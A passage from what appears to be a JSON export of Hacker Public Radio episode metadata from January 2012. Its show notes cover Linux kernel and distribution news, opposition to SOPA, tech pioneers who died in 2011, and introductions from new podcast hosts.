    \nAmong the other voices you will hear are Pokey, Delwin, JNeuster, Deltaray, DoorToDoorGeek, and I thought it was especially cool when the world wrapped around and Ken Fallon came back in after having gone to bed the night before. I didn't have the forethought to make note of all the handles active in the room, and the festivities of the evening did not enhance my recall, so I apologize to those I have overlooked. With the help of the community, I hope to get you proberly credited in the show notes, even if it is after the fact. \n

    \n

    \nI regret I wasn't able to participate or listen too in the entire thirteen hour scheduled recording, since I am speaking to the future I am sure I will be enjoying those missed hours even as you hear this. I want to add my voice in gratitude and congratulations to those who organized and participated in making this event a success.\n

    \n

    \nFiftyOneFifty\n","hostid":159,"series":121,"explicit":1,"license":"CC-BY-SA","tags":"New Year,2012","version":0,"downloads":2153,"valid":1}, {"id":899,"date":"2012-01-11","title":"Sunday Morning Linux Review - New Year Show","duration":5070,"summary":"SMLR New Year Show","notes":"Episode 012
    \nhttps://smlr.us
    \n
    \nTotal Running Time 1hr 22:48
    \n
    \nIntro:
    \n
    \nMat Enders, Tony Bemus, and Mary Tomich
    \nIntro Sound bite by Mike Tanner
    \n
    \nKernel News: Mat
    \n
    \nTime: 3:15
    \n
    \nLinux 3.2-rc7
    \n
    \nThere it is, likely the last -rc in before final 3.2, so please do check it out in between your holiday festivities.
    \n
    \nMost of the changes are faily simple one-liners, but some qla4xxx driver updates stand out and in fact account for about 40% of the diff (\"qla4xxx: fix flash/ddb support\"). That, together with a VMWare DRI driver update and some dvb updates and the regular random driver fixes means that 80+% of the changes are in drivers.
    \n
    \nSome net updates, some SH updates, and then a (tiny) smattering of other stuff. The appended shortlog gives the (fairly boring) details
    \n- Linus
    \n
    \nDistro News: Tony
    \n
    \nTime: 7:14
    \n
    \nDistrowatch.com
    \n
    \n

      \n
    • 1-1 openSUSE 12.1 Edu Li-f-e
    • \n
    • 1-1 - aptosid 2011-03 -
    • \n
    • 12-31 - siduction 11.1 - desktop-oriented distribution and live CD/DVD based on Debian’s unstable branch, recently forked from aptosid
    • \n
    • 12-31 - ExTiX 9 - Ubuntu-based desktop distribution for 64-bit computers with GNOME Shell and Razor-qt as the available desktop environments and the latest stable Linux kernel
    • \n
    • 12-31 - Linux Deepin 11.12 - from China based on Ubuntu, announced its 11.12 release on the last day of the year
    • \n
    • 12-30 - Netrunner 4.0 - a Kubuntu-based desktop distribution featuring a carefully-tuned KDE desktop and integrated KDE and GNOME applications
    • \n
    • 12-30 - Endian Firewall 2.5 - an updated version of the project’s Red Hat-based specialist distribution for firewalls
    • \n
    • 12-26 - Calculate Linux 11.12 - Gentoo-based distribution set with focus on desktop and server computing
    • \n
    • 12-26 - Tiny Core Linux 4.2 - a nomadic, ultra-small graphical desktop operating system
    • \n
    • 12-25 - Superb Mini Server 1.6.3 - a Slackware-based distribution for servers
    • \n
    • 12-25 - Semplice Linux 2.0.0 - a lightweight desktop distribution based on Debian’s unstable branch and featuring the Openbox window manager
    • \n
    • 12-23 - Grml 2011.12 - a Debian-based live CD with an excellent collection of GNU/Linux software and scripts for system administrators
    • \n
    \n

    \nDistro of the Week: Tony\n

    \n
      \n
    • Debian - 1172
    • \n
    • CentOS - 1223
    • \n
    • Fedora - 1284
    • \n
    • Ubuntu - 1571
    • \n
    • Mint - 3909
    • \n
    \n\n
    \nTech News:
    \n
    \nTime: 29:27
    \nVote On SOPA Delayed Until Mid January At The Earliest
    \n
    \nThe SOPA (Stop Online Piracy Act) vote scheduled for 12/21/11 was postponed until January. A committee spokesperson said that they will not set a new vote date until they return from break in January. This means that the earliest that a scheduled vote could take place would be mid January. This is the second postponement of the committee vote on SOPA, which requires ISPs, Search Engines, and other content providers to alter DNS records and search results. Resulting in the censorship of foreign websites supposedly \"dedicated\" to providing copyright infringing material. The committee has already had two marathon sessions that ended abruptly after opponents expressed staunch apposition.
    \n
    \nThe artists are not the one behind this law. The huge corporations, lawyers, and boards who are pushing this incredibly bad legislation. Here is a list of the companies behind just one of the lobbying groups pushing SOPA:
    \n
    \n
      \n
    • ABC
    • \n
    • AFTRA - American Federation of Television and Radio Artists
    • \n
    • AFM - American Federation of Musicians
    • \n
    • AAP - Association of American Publishers
    • \n
    • ASCAP
    • \n
    • BMG Chrysalis
    • \n
    • BMI
    • \n
    • CBS Corporation
    • \n
    • Cengage Learning
    • \n
    • DGA - Directors Guild of America
    • \n
    • Disney Publishing Worldwide, Inc.
    • \n
    • EMI Music Publishing
    • \n
    • ESPN
    • \n
    • Graphic Artists Guild
    • \n
    • Hachette Book Group
    • \n
    • HarperCollins Publishers L.L.C.
    • \n
    • Hyperion
    • \n
    • IATSE - International Alliance of Theatrical Stage Employees, Moving Picture Technicians, Artists and Allied Crafts of the United States, its Territories and Canada
    • \n
    • International Brotherhood of Teamsters
    • \n
    • Kaufman Astoria Studios
    • \n
    • Macmillan
    • \n
    • Major League Baseball
    • \n
    • Marvel Entertainment, LLC
    • \n
    • McGraw-Hill Education
    • \n
    • MPA - The Association of Magazine Media
    • \n
    • NFL - National Football League
    • \n
    • National Music Publishers’ Association
    • \n
    • NBCUniversal
    • \n
    • News Corporation
    • \n
    • New York Production Alliance
    • \n
    • New York State AFL-CIO
    • \n
    • Pearson Education
    • \n
    • Penguin Group (USA), Inc.
    • \n
    • The Perseus Books Group
    • \n
    • Producers Guild of America East
    • \n
    • Random House
    • \n
    • Reed Elsevier
    • \n
    • SAG - Screen Actors Guild
    • \n
    • Scholastic, Inc.
    • \n
    • Silvercup Studios
    • \n
    • Simon & Schuster, Inc.
    • \n
    • Sony Music Entertainment
    • \n
    • Sony/ATV Music Publishing
    • \n
    • Time Warner Inc.
    • \n
    • United States Tennis Association
    • \n
    • Universal Music Group
    • \n
    • Universal Music Publishing Group
    • \n
    • Viacom
    • \n
    • Warner Music Group
    • \n
    • W.W. Norton & Company
    • \n
    • Wolters Kluwer
    • \n\n
    \n\n
    \nNow you know who to boycott, but you also have to let them know why you are boycotting them.
    \n
    \nSeveral grassroots organizations along with a few tech companies are putting forth a strong effort against this legislation. They have had some effect as arguably the most egregious section has under gone a quick rewrite by Rep. Lamar Smith, Judiciary Committee chair and sponsor of this bill. The changes revealed on Monday 12/12/2011, make the definition of \"rogue websites\" more narrow. It also clarifies that the take down provisions only apply to foreign websites. There were also several changes intended to alleviate concerns that this legislation would interfere with the architecture of the Internet. Because as it it stands this bill would force American companies to break dns.
    \n
    \nThe NetCoalition which counts AOL, eBay, Facebook, foursquare, Google, IAC, Linkedin, Mozilla, OpnDNS, PayPal, Twitter, Wikipedia, Yahoo!, and the Zynga Game Netwrk as members is proposing a blackout day where all of these websites would go down and just show an anti-SOPA message to visitors when they come to these sites, claims Markham Erickson, who heads the NetCoalition trade association. If all of these sites went dark at the same time it would bring national commerce to a screeching halt. This action would also totally disrupt the lives of the majority of Americans hopefully alerting them to this serious issue and causing them to act.
    \n
    \nThere is still time to try and defeat this horrendous legislation and the people at \"DAILY KOS\" have made it incredibly easy. If you click on this link it will take you directly to a page the have set up that will walk you through sending your representative an email telling them to vote no on this steaming pile of fecal matter.
    \n
    \nGoDaddy Rescinds SOPA Support After Huge Boycott Initiative
    \nFull disclosure, I have a domain registered with GoDaddy they are just the registrar not the host.
    \n
    \nOn 12/22/2011 the fact that GoDaddy was actively supporting SOPA (Stop Online Piracy Act). The really egregious part was that not only did GoDaddy support SOPA they actually took such an active roll as righting parts of it. So a boycott was started on reddit, which took off like wildfire across the internet. One day later they announced that they were withdrawing their support for SOPA. It is however to late for many high profile domains. Wikimedia Foundation’s Jimmy Wales announced on Twitter that all Wikimedia’s domains will be moved off of GoDaddy. Cheezburger’s Ben Huh also pledged to move his 1000+ domains off of GoDaddy. Hundreds maybe even thousands more people across the internet joined them in leaving GoDaddy. YCombinator founder, Paul Graham issued a ban on all employees of any company on the official list of SOPA supporters from attending YC Demo Day. Here is what he had to say about the ban:
    \n
    \n\"Several of those companies [on the list] send people to Demo Day, and when I saw the list I thought: we should stop inviting them. So yes, we’ll remove anyone from those companies from the Demo Day invite list,\" He then went on to say this: \"If these companies are so clueless about technology that they think SOPA is a good idea, how could they be good investors?\"
    \nWarren Adelman, Go Daddy’s CEO, had this to say about them rescinding their support for SOPA:
    \n
    \n\"Fighting online piracy is of the utmost importance, which is why Go Daddy has been working to help craft revisions to this legislation - but we can clearly do better,\" He then went on to say this also: \"It’s very important that all Internet stakeholders work together on this. Getting it right is worth the wait. Go Daddy will support it when and if the Internet community supports it.\"
    \nThis is a huge win for the free and open internet. It shows that when you can manage to hit a company where it counts, in the bottom line, you really can make them change their position. When you read GoDaddy’s statement the weasilyness jumps right out at you. Which leads me to believe that they are just trying to take the heat off right now and will jump at supporting the next minor revision of SOPA.
    \n
    \nThe Debian Administrator’s Handbook
    \nI am going to try and synopsize the information for you, however if you go to https://debian-handbook.info/ you can read the whole story ab out the book. The book is currently published in French under the title Cahier de l’admin Debian. It is the work of two Debian developers Raphaël Hertzog who maintains dpkg along with several other packages and Roland Mas who maintains argyll and a few other packages. They attempted to have several editors take on the English translation but none where willing to take the risk. The two then decided to do the translation themselves, and then self publish the work. In order to facilitate the translation they did a crowdfunding campaign which raised almost 15,000 EUR. They expect the translation to be done around April 2012. They however wanted to take this further and release the book under an open source licenses acceptable to Debian so that the book can be included in Debian as an installable package. Making it a simple apt-get away for anyone running Debian. They have set this goal at 25,000 EUR, you can make a donation to the \"liberation fund\" here , If you donate 10 EUR or more you are guaranteed a copy when it is ready. If they meet their goal of 25,000 EUR then everyone will be able to get a free copy. I made my donation already if I remember correctly it was about 13.74 USD. So i will get my copy but if we can push this over it would be a great thing. The last time I checked they were at about 65% of their goal.
    \n
    \nAnd now a little about the book. This book requires no prior knowledge of Debian. It will cover all of the topics that anyone needs to become an effective Debian administrator. From installation and update to compiling your own kernel and creating Debian packages from sources. Along with backup, migration and advanced topics like SELinux, automated installations, and virtualization. The first half of the book is for anyone who wants to run Debian. It will teach the basics like installing Debian with the Debian installer, finding documentation, basic troubleshooting, and problem solving. Then the second half of the book is server administrators. It will discuss things like securing the server, automating installations, using virtualization, and setting up common services like Apache, Postfix, OpenLDAP, SAMBA, NFS and many more. You can check out the complete table of contacts here
    \n
    \nThere is also a free sample chapter available \"The APT Tools.\" If you would like to check this out to ensure that the book is up to the quality that you expect then you can click here for a PDF of this great chapter. It covers all of the APT tools like apt-get, aptitude, and other associated tools
    \n
    \nNow to answer some of the questions you may have about this book:
    \nQ) Who is this book for?
    \nA) Anyone who’s interested by Debian. From a regular user, to the administrator of a small network, or that of a large corporation.
    \n
    \nQ) How long is it?
    \nA) The French paperback was about 450 pages.
    \n
    \nQ) What version of Debian does it cover?
    \nA) the current stable version \"Squeeze\"
    \n
    \nSo come people lets get out there and get your copy today and move the project that much closer to their goal of Open Sourcing this book.
    \n
    \n2011 The Year Of The Tech Giant Passing
    \n2011 has been a year in which we lost more tech giants than ever before, a total of fourteen. Lets start with arguably the best known on this list and end with the one I believe had the biggest impact:
    \n
    \nSteven Paul Jobs
    \nFebuary 1955 - October 2011
    \n
    \nJobs experimented with different pursuits before starting Apple Computers with Stephen Wozniak in the Jobs’ family garage. Steve Jobs vision in the consumer electronic market is un paralleled. Hence Apple’s many revolutionary products, such as the iPod, iPhone and iPad. Which are now seen as dictating the evolution of modern technology.
    \n
    \nRobert Morris
    \nThe Unix Encryption Guy
    \nJuly 1932 - June 2011
    \n
    \nAmong the Bell Labs researchers who worked on Unix with Thompson and Ritchie was Bob Morris, who developed Unix’s password system, math library, text-processing applications and crypt function. In 1986 Morris left to join the NSA, where he led the agency’s National Computer Security Center until 1994.
    \n
    \nJohn McCarthy
    \nOriginator Of AI
    \nSeptember 1927 - October 2011
    \n
    \nThe creator of the Lisp programming language and the \"father of artificial intelligence\" (he coined the term in 1956). In 1957 McCarthy started the first work on time-sharing on a computer. That original project led to Multics, which then led to Unix. In the early 1970s he predicted online shopping. This prediction led researcher Whitfield Diffie to create public-key cryptography used in the authentication of e-commerce documents.
    \n
    \nKen Olsen
    \nThe Digital Man
    \nFebruary 1926 - February 2011
    \n
    \nWhen he worked at MIT’s Lincoln Laboratory in the 50s took note of students queuing up to use an older model computer, called TX-0, even when a more modern and much faster mainframe was available. The big diffrence and the reason that the students lined up for the TX-0 was that the mainframe ran batch jobs and the TX-0 allowed for online interactivity. So in 1957 he and a colleague, Harlan Anderson, ran with that information and $70,000 in start up capital to start DEC (Digital Equipment Corp.) DEC went on to create PDP series of computers of which Ritchie and Thompson created Unix on a PDP-7.
    \n
    \nPaul Baran
    \nThe Packet Man
    \nApril 1926 - March 2011
    \n
    \nBaran while working as a researcher for the Rand Corp. in 1961came up the idea that messages can be broken down into smaller pieces, then sent to a destination even via multiple routes if necessary and then put back together when they arrive to ensure delivery. Arpanet adopted Packet switching as its means of communication, Arpanet then grew into the Internet, and eventually for local-area networks in the form of Ethernet.
    \n
    \nJean Bartik
    \nLast of the First Programmers
    \nDecember 1924 - March 2011
    \n
    \nShe was the last surviving member of the original programming team for the ENIAC. But that understates her work, she was the only female math graduate in her 1945 college, and she served as a lead programmer on the ENIAC project. Bartik also developed circuit logic and did design work under the direction of ENIAC’s hardware developer, J. Presper Eckert.
    \n
    \nJack Keil Wolf
    \nDisk Drivin’ Man
    \nFebruary 1926 - February 2011
    \n
    \nWolf did more than almost anyone else to use math to cram more data into magnetic drives, flash memory and electronic communications channels. In 1984, he moved to the new Center for Magnetic Recording Research at the University of California, San Diego. It was a good choice. Wolf and his students, dubbed the \"Wolf pack,\" cross-pollinated magnetic drive design with information theory, applying compression in increasingly creative ways, and spread Wolf’s ideas throughout the industry.
    \n
    \nJulius Blank
    \nCreator Of The Silicon In Silicon Valley
    \nJune 1925 - September 2011
    \n
    \nJulius Blank one of the \"Traitorous Eight\" engineers who founded Fairchild Semiconductor in 1957. He and his seven colleagues had acquired that unsavory nickname when they left Nobel Prize-winning physicist William Shockley just a year after being recruited to create a new kind of transistor at Shockley Labs. Before going to college, he had been trained as a machinist. Along with eventual venture capitalist Gene Kleiner, Blank built Fairchild’s machine shop, and created the manufacturing machinery that would produce the first silicon based transistors.
    \n
    \nRobert Galvin
    \nBreaker Of The AT&T Mobile Monopoly
    \nOctober 1922 - October 2011
    \n
    \nGalvin broke AT&T’s monopoly on mobile-phone service in the U.S. when he demonstrated a Motorola phone for president Reagan at the White House in 1981. Ronald Reagan then pushed the FCC to approve Motorola’s proposal for a competing cellular network. By the time Galvin retired as Motorola’s chairman in 1990, the company dominated the cellphone hardware business.
    \n
    \nGerald A. Lawson
    \nCreator Of The Video Game Cartridge
    \nDecember 1940 - April 2011
    \n
    \nJerry Lawson a 6-foot-6, more than 250 lbs. African-American, which was even more of an IT industry rarity in the 1970s than today. Lawson’s creation, the Fairchild Channel F, arrived in 1976, a year before Atari’s first home game system, and sparked an industry of third-party video games. Lawson discovered that the biggest challenge with plug-in cartridges was satisfying the FCC’s radio-frequency interference requirements. In a 2006 interview he describes the process:
    \n
    \n\"We had to put the whole motherboard in aluminum. We had a metal chute that went over the cartridge adapter to keep radiation in. Each time we made a cartridge, the FCC wanted to see it, and it had to be tested.\"
    \nIts biggest impact was on Lawson’s friends at Atari, who rushed their own cartridge-based home system into production. The rise of the video game had begun.
    \n
    \nGeorge Devol
    \nThe Man With The Robot Arm
    \nFebruary 1912 - August 2011
    \n
    \nGeorge Devol developed the first digitally programmable robot arm. He also invented a system for recording sound for movies in the 1930s, then switched to systems that used photoelectric cells to open and close doors and sort bar-coded packages. Devol turned his inventiveness to factory automation in the 1950s. The large programmable \"Unimate\" arm he developed used magnetic drum memory and discrete solid-state control components. It made its factory debut in 1961 on a General Motors assembly line in New Jersey, stacking freshly die-cast (and very hot) metal parts. Within 20 years, Devol’s Unimation was the biggest robotic-arm company in the world.
    \n
    \nLee Davenport
    \nAnti-Aircraft Innovator
    \nDecember 1915 - September 2011
    \n
    \nLee Davenport didn’t invent battlefield radar. He developed an anti-aircraft gun that combined radar with a computer to control anti-aircraft guns. At the Battle of the Bulge, the radar system was also used to spot German ground vehicles in the snowy terrain. In addition, the SCR-584 was used in 1944 to defend London against German buzz bombs. The SCR-584 crews were very effective in shooting down the buzz bombs.
    \n
    \nWilson Greatbatch
    \nHeartbeat of the Century
    \nSeptember 1919 - September 2011
    \n
    \nIn 1956 Wilson Greatbatch, an electrical-engineering professor at the University of Buffalo, made an electronic mistake that led to the invention of the pacemaker. He was building a heart rhythm monitor for the school’s Chronic Disease Research Institute when he attached a wrong-size resistor to a circuit, causing it to produce intermittent electrical pulses. Greatbatch realized that this might be used to regulate a damaged heart. Two years later, doctors at the Veterans Administration hospital in Buffalo demonstrated that a 2-cubic-in. implantable device built by Greatbatch could regulate a dog’s heart. In 1960 in Buffalo, 10 patients (including two children) received Greatbatch’s device, and its battery lasted two years or more. In 1972, Greatbatch was able to re-engineer the device with a new battery that worked for more than a decade.
    \n
    \nDennis M. Ritchie
    \nAn Originator of Unix, Inventor of C
    \nSeptember 1941 - October 2011
    \n
    \nDennis Ritchie is one of the authors of the Unix operating system, and designed the C programming language. And he promoted both, starting in the 1970s. You may ask how influential all of that work was? Well just look at the number of closed source Unix clones we have today, not to mention their Open Source brethren the BSDs. Along with Linux a Unix work alike. Not to mention C, which eight of the top ten programming languages descend from.
    \n
    \nRaspberry Pi, a Tiny But Powerful $25 PC -
    \nThe final Raspberry Pi will come in two flavors: A $25 version with 128MB of RAM and no network connection and a $35 one with Ethernet. Both versions will have USB and HDMI ports as well as analog video and audio outputs. It’s driven by a The 1080p video magic is driven by a 700MHz ARM processor, and the whole thing is powered by a 5-volt power supply.
    \nThe Year in Review: Desktop Linux Developments in 2011
    \nThe \"year in review\" pieces that proliferate old and new media alike around this time of year get tedious pretty fast. But because I’ve yet to see a good compilation of the major developments — and there were plenty of them — that affected desktop Linux in 2011
    \nOuttro Music:
    \nTime: 1hr 14:48
    \nJamendo.com
    \nStopping the World by Of The I
    \n","hostid":159,"series":54,"explicit":1,"license":"CC-BY-SA","tags":"Sunday Morning Linux Review,New Year, 2012","version":0,"downloads":3435,"valid":1}, {"id":900,"date":"2012-01-13","title":"Episode 000 - Introduction","duration":894,"summary":"A first podcast and introduction","notes":"

    \nIn this episode, the first of a hopefully long series, Garjola introduces himself and explains how he got into computers, programming and free software. You can get in touch with Garjola by e-mail at garjola@garjola.net.\n

    ","hostid":197,"series":0,"explicit":1,"license":"CC-BY-SA","tags":"Commodore,BASIC,ZX Spectrum 48k,assembler,Pascal,C,C++,Debian,Red Hat","version":0,"downloads":2535,"valid":1}, {"id":901,"date":"2012-01-16","title":"Ahuka: Intro and How I Got Into Linux","duration":1834,"summary":"An introduction from a new host","notes":"Another hosts steps up to the plate and introduces them selves to the Hacker Public Radio elite. Today it's the turn of Ahuka who opens with the now traditional \"How I Got Into Linux\" show.
    \n
    \nHis website is at https://www.zwilnik.com","hostid":198,"series":29,"explicit":1,"license":"CC-BY-SA","tags":"mainframe,punched card,teletype,Sinclair ZX80,PC XT,DOS,Linux,KDE","version":0,"downloads":2278,"valid":1}, {"id":902,"date":"2012-01-17","title":"TGTM Tech News for 2012-01-09","duration":1289,"summary":"A newscast from Talk Geek to Me","notes":"

    \nShownotes are available at https://www.talkgeektome.us/tgtmnews-57.html\n

    \n
    \n

    \nTGTM Tech News for 2012-01-09\nNewsCast\nShownotes are available at Show Notes for TGTM news 57\n\n

    \n\n

    TGTM Newscast for 2012/01/09

    \n

    DeepGeek

    \n

    Here is a news review:

    \n\n

    Other Headlines:

    \n\n

    News from \"allgov.com,\" \"havanatimes.org,\" \"maggiemcneill.wordpress.com,\" \"perspectives.mvdirona.com,\" and \"thestand.org\" used under arranged permission.

    \n

    News from \"eff.org\"  and \"torrentfreak.com\" used under permission of the Creative Commons by-attribution license.

    \n

    News Sources retain their respective copyrights.

    \n
    talkgeektome.us
    \n

    Talk Geek To Me Newscast by DeepGeek is licensed under a Creative\nCommons Attribution-ShareAlike 3.0 Unported License.

    \n

    Quoted news sources retain their respective copyrights.

    \n\n

    Links

    \n\n","hostid":237,"series":28,"explicit":1,"license":"CC-BY-SA","tags":"newscast,TGTM","version":0,"downloads":2175,"valid":1}, {"id":903,"date":"2012-01-17","title":"SOPA Protest","duration":16,"summary":"The HPR domain is redirected to https://www.nosopa.org/ in protest","notes":"In protest at the attempt to restrict the Internet the HPR community have decided to take part in a say of action by redirecting the https://hackerpublicradio.org domain to https://www.nosopa.org/ for January 18th.","hostid":159,"series":0,"explicit":1,"license":"CC-BY-SA","tags":"SOPA,Stop Online Piracy Act,protest","version":0,"downloads":2137,"valid":1}, {"id":904,"date":"2012-01-18","title":"Frostcast Northeast GNU/Linux Fest","duration":2577,"summary":"A show from Frostcast about NELF","notes":"

    \nToday it's the turn of Frostcast talking about the second annual Northeast GNU/Linux Fest.
    \nSpecial thanks KnightWise for letting us bump his show.
    \nhttps://www.northeastlinuxfest.org/
    \nhttps://frostbitemedia.org/\n

    \n

    \nThe Northeast GNU/Linux Fest is an advocate of Free software. We hope to bring\nawareness of Free software to college students their schools, programmers and\nbusinesses. We welcome everyone from the new user to the people that have been\nthere from the beginning. Come and learn how Free software can affect\naccessibility and your business, graphic design, software security and\nperformance along with stability. So lets take back control of our computers\nand gadets and learn about software Freedom and The 4 Freedoms we should be\nconcerned about. Come to the Northeast GNU/Linux Fest to learn, teach and talk\nabout Free software and join the Free software revolution.\n

    \n","hostid":159,"series":54,"explicit":1,"license":"CC-BY-SA","tags":"Northeast GNU/Linux Fest,NELF 2012,Worcester State University","version":0,"downloads":2279,"valid":1}, {"id":905,"date":"2012-01-19","title":"Akranis: How I got into Linux ","duration":349,"summary":"An introductory show from a new host","notes":"

    \nA 5 minute show about how I came to know Linux and the distribution I use today.\n

    \n

    \nYou can find my modified bashpodder script here: https://pastebin.com/zGtMRA9m\n

    \n

    \nAnd you can find the original script here: https://lincgeek.org/bashpodder/\n

    \n

    \nhexagenic@gmail.com\n

    ","hostid":199,"series":29,"explicit":1,"license":"CC-BY-SA","tags":"Smoothwall,Puppy Linux,Ubuntu,Arch,Debian,Bash,Bashpodder","version":0,"downloads":2362,"valid":1}, {"id":906,"date":"2012-01-20","title":"FOSDEM 2012","duration":2149,"summary":"Ken interviews Pascal Bleser, FOSDEM organisation team member","notes":"

    \nIn Today's show Ken interviews Pascal Bleser of the FOSDEM organisation team. FOSDEM is the biggest free and non-commercial event organized by and for the community. Its goal is to provide Free and Open Source developers a place to meet.\n

    \n

    \nIf you are going to FOSDEM, please contact Ken\n

    \n

    \nhttps://fosdem.org/2012/
    \n

    \n

    \nApologies for the crackling on the recording

    \n","hostid":30,"series":78,"explicit":1,"license":"CC-BY-SA","tags":"Interview,FOSDEM,FOSDEM 2012","version":0,"downloads":2195,"valid":1}, {"id":907,"date":"2012-01-23","title":"Learning","duration":260,"summary":"Using web resources to become an autodidact","notes":"

    This is the first episode recorded by mordancy using text to speech technology. In this episode I want to bring attention to 3 cool learning websites that I have found useful in my autodidactic (self taught) pursuits\n

    \n

    \nhttps://codeacademy.com
    \nhttps://ocw.mit.edu
    \nhttps://arachnoid.com
    \nhttps://arachnoid.com/arachnophilia/index.php
    \nhttps://arachnoid.com/lutusp/alien.html
    \n

    \n

    \nemail me : hpr [at] mordancy [dot] com\n

    \n

    \nIf there is interest, I will record a show on you how to record an HPR episode using text to speech (tts) tools - specifically espeak\n

    \n","hostid":200,"series":0,"explicit":1,"license":"CC-BY-SA","tags":"espeak,text to speech,free course","version":0,"downloads":2445,"valid":1}, {"id":908,"date":"2012-01-24","title":"TV Downloader TED","duration":372,"summary":"TED - Torrent Episode Downloader","notes":"

    Hello everyone its riddlebox, sorry its been so long since I have done a podcast.

    \n

    Today I am going to tell you about my kinda sorta home dvr that I have at the moment.

    \n

    No, this isn't another show talking about mythtv....even though the mythtv project is a good one...

    \n

    Our myth box at home died a while back and we lost three tuner cards which I hadn't realized how expensive the setup was getting to be needing all of the tuner cards and a back end server that could handle everything.

    \n

    So I looked at a debian server I have been using as my zoneminder server which just records two cameras when there is motion.\nI found a Java app called TED - or torrent episode downloader from www.Ted.nu.\nAs the name states it uses torrents to download the shows. With this application which you download and launch from the jar file..\nI had to use a --no-tray switch to get it to run.

    \n

    Once you open the jar file you are greeted with the app and a list of the popular shows.\nYou can tell it to start torrenting those shows and you can tell Ted the frequency of how often to look for new shows.\nYou can even tell it to get past shows.

    \n

    So I got Ted all configured the way I wanted, then I setup a guest SAMBA share on my downloads folder so my blue ray player can see the share, and now I just go to my blue ray player and see what shows are available to watch.\nSome shows may show up a couple days after they air but overall it works great.

    \n","hostid":94,"series":0,"explicit":1,"license":"CC-BY-SA","tags":"DVR,bittorrent,SAMBA","version":0,"downloads":2858,"valid":1}, {"id":909,"date":"2012-01-25","title":"KC0058 : Streampunking with Instapaper","duration":2795,"summary":"Managing your information feeds","notes":"

    \nToday it's The Knightcast KC0058 : Streampunking with Instapaper.
    \nSpecial thanks KnightWise for letting us bump his show.
    \n\n https://knightwise.com/the-knightcast-kc0058-streampunking-with-instapaper/\n

    \n
    \n

    \nWe dive into the world of RSS readers and teach you cool cross-platform tips on managing your information feeds to share and consume your favorite content. We take a close look at Google Reader and the Instapaper service with its several API's and teach you some cool tricks to turn those saved articles into podcasts. Spice it up with some cross platform goodness and you are ready for another Knightcast.\n

    \n","hostid":159,"series":54,"explicit":1,"license":"CC-BY-SA","tags":"RSS,Google Reader,Instapaper","version":0,"downloads":2196,"valid":1}, {"id":910,"date":"2012-01-26","title":"Introduction to Pagekite.","duration":836,"summary":"Software that gives your localhost servers names and makes them globally visible","notes":"

    \nWelcome to my awkward second episode.
    \nToday I'll be introducing you to pagekite, a service for giving a public face to your local servers.
    \nCheck it out at https://www.pagekite.net\n

    \n

    \n

    Bring your localhost servers on-line.

    \n

    \nPageKite is software that gives your localhost servers names and makes them globally visible. It works with any computer and any Internet connection.\nIt's so easy you'll never want to think about routers, IP addresses or other technicalities again. It's open source, too!\n

    ","hostid":193,"series":0,"explicit":1,"license":"CC-BY-SA","tags":"reverse proxy","version":0,"downloads":2365,"valid":1}, {"id":911,"date":"2012-01-27","title":"Hobbies","duration":2066,"summary":"Mr X talks about hobbies he's had over the years","notes":"

    \nA show about the hobbies I've had over the years\n

    \n

    \nThe Secret Life of machines videos by Tim Hunkin, originally broadcasted in the UK in around 1980\nhttps://www.exploratorium.edu/ronh/SLOM/\n

    \n

    \nOhms Law \nhttps://people.usd.edu/~schieber/psyc770/resistors/ohms4beginner.html\n

    \n

    \nInformation about the thermionic valve \nhttps://en.wikipedia.org/wiki/Vacuum_tube\n

    \n

    \nCalculating Wavelength\nhttps://www.ewart.org.uk/physics/index.php?l=44\n

    \n

    \nSmall Yaseu FT 817, Multi Mode Hf, VHF and UHF transceiver\nhttps://www.g4ilo.com/ft817.html 19:00\n

    \n

    \nBase Station Kenwood TS 940S, Multi Mode Hf Transceiver\nhttps://www.universal-radio.com/catalog/hamhf/ts940s.html 19:00\n

    \n

    \nAmiga 500 Computer\nhttps://www.obsoletecomputermuseum.org/amiga500/\n

    \n

    \nBeginning Ubuntu Linux from novice to professional \nhttps://www.amazon.com/Beginning-Ubuntu-Linux-Novice-Professional/dp/1590596277\n

    \n

    \nLinux Pocket guide \nhttps://www.amazon.com/Linux-Pocket-Guide-Daniel-Barrett/dp/0596006284/ref=sr_1_1?s=books&ie=UTF8&qid=1327077298&sr=1-1\n

    \n

    \nWicked cool shell scripts \nhttps://nostarch.com/wcss.htm\n

    \n

    \nRaspberry PI, micro Computer for $35 \nhttps://www.raspberrypi.org\n

    \n","hostid":201,"series":0,"explicit":1,"license":"CC-BY-SA","tags":"playing music,electronics,amateur radio,computing","version":0,"downloads":2375,"valid":1}, {"id":912,"date":"2012-01-30","title":"How I cut The Cable Cord Part1","duration":310,"summary":"A new host speaks about cable cutting","notes":"In his very first episode our latest community memeber to step up to the plate takes on the topic of cutting the cord.","hostid":202,"series":0,"explicit":1,"license":"CC-BY-SA","tags":"Cable TV,internet streaming,Roku","version":0,"downloads":2415,"valid":1}, {"id":913,"date":"2012-01-31","title":"Exchanging Data Podcast 1","duration":530,"summary":"An introduction to the data formats available when talking to web services","notes":"

    \nThis podcast is the first in a series about accessing the data you have on your web site in any number of other locations. These can be other web sites or apps running on your mobile phone. Over the next few episodes, I will describe the different formats used for sharing your data, what goes into building the web application that serves up your data, how to access your data from other locations such as other web sites or mobile apps, and, finally, I will talk briefly on how to make something like this scale to support higher load demands.\n

    \nThis episode is an introduction to the data formats available when talking to web services.\n

    \nThanks for listening!\n

    \n

    Links

    \n\n\n","hostid":203,"series":0,"explicit":1,"license":"CC-BY-SA","tags":"open schedule,exchanging data,XML,DTD,XML schema,JSON,JSONP","version":0,"downloads":2180,"valid":1}, {"id":914,"date":"2012-02-01","title":"Sunday Morning Linux Review: Episode 014","duration":4068,"summary":"SMLR episode 14","notes":"

    Sunday Morning Linux Review: Episode 014

    \n

    January 15th, 2012

    \n\n

    \nhttps://smlr.us
    \n

    \n

    \nIntro:
    \n

    \n

    \nMat Enders, Tony Bemus, and Mary Tomich
    \n

    \n

    \nKernel News: Mat
    \n

    \n

    \nRelease Candidates
    \nNone
    \n

    \n

    \nMain Line
    \n3.2 no change
    \n

    \n

    \nStable Releases
    \nGreg KH announced the release of the 2.6.32.54 Kernel Thu, 12 Jan 2012 20:13:20 UTC
    \nThere were 18 files changed, 167 files inserted, and 66 files deleted
    \n

    \n

    \nGreg KH announced the release of the 3.0.17 Kernel Thu, 12 Jan 2012 20:21:36 UTC
    \nThere were 52 files changed, 364 files inserted, and 179 files deleted
    \n

    \n

    \nGreg KH announced the release of the 3.1.9 Kernel Thu, 12 Jan 2012 20:22:18 UTC
    \nThere were 53 files changed, 367 files inserted, and 179 files deleted
    \n

    \n

